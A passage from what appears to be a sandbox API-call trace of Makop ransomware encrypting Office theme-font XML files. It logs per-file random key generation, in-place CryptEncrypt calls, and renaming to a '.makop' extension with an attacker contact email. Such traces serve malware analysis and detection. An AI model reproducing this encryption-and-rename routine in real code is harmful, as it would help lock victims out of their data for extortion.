Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.052] GetProcessHeap () returned 0x48a0000 [0161.052] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.052] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.052] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.052] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0161.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.060] GetProcessHeap () returned 0x48a0000 [0161.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.061] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdb5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdb5, lpOverlapped=0x0) returned 1 [0161.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdc0) returned 1 [0161.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdc0, lpOverlapped=0x0) returned 1 [0161.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.062] SetEndOfFile (hFile=0xf0) returned 1 [0161.068] GetProcessHeap () returned 0x48a0000 [0161.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.068] GetProcessHeap () returned 0x48a0000 [0161.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.068] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0161.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.070] CloseHandle (hObject=0xf0) returned 1 [0161.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0161.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml") returned 76 [0161.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.073] GetProcessHeap () returned 0x48a0000 [0161.073] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.073] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.073] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.074] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0161.077] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.077] GetProcessHeap () returned 0x48a0000 [0161.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.078] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.078] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.078] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.079] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.079] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xed4, lpOverlapped=0x0) returned 1 [0161.079] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0, dwBufLen=0xee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0) returned 1 [0161.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee0, lpOverlapped=0x0) returned 1 [0161.079] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.080] SetEndOfFile (hFile=0xf0) returned 1 [0161.086] GetProcessHeap () returned 0x48a0000 [0161.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.086] GetProcessHeap () returned 0x48a0000 [0161.086] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.087] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0161.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.088] CloseHandle (hObject=0xf0) returned 1 [0161.088] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0161.089] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml") returned 73 [0161.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.091] GetProcessHeap () returned 0x48a0000 [0161.091] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.091] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.096] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.096] GetProcessHeap () returned 0x48a0000 [0161.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.096] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.097] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe59, lpOverlapped=0x0) returned 1 [0161.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60, dwBufLen=0xe60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe60) returned 1 [0161.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe60, lpOverlapped=0x0) returned 1 [0161.098] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.098] SetEndOfFile (hFile=0xf0) returned 1 [0161.104] GetProcessHeap () returned 0x48a0000 [0161.104] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.105] GetProcessHeap () returned 0x48a0000 [0161.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.105] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0161.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Grid.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\grid.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.106] CloseHandle (hObject=0xf0) returned 1 [0161.106] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0161.106] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml") returned 78 [0161.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.108] GetProcessHeap () returned 0x48a0000 [0161.108] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.108] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.108] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.108] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.112] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.112] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.112] GetProcessHeap () returned 0x48a0000 [0161.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.112] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.112] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.112] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.113] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.113] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.113] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.113] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.113] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.114] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf09, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf09, lpOverlapped=0x0) returned 1 [0161.114] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf10, dwBufLen=0xf10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf10) returned 1 [0161.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf10, lpOverlapped=0x0) returned 1 [0161.115] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.115] SetEndOfFile (hFile=0xf0) returned 1 [0161.122] GetProcessHeap () returned 0x48a0000 [0161.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.122] GetProcessHeap () returned 0x48a0000 [0161.122] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.122] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 125 [0161.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Hardcover.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\hardcover.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.123] CloseHandle (hObject=0xf0) returned 1 [0161.124] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 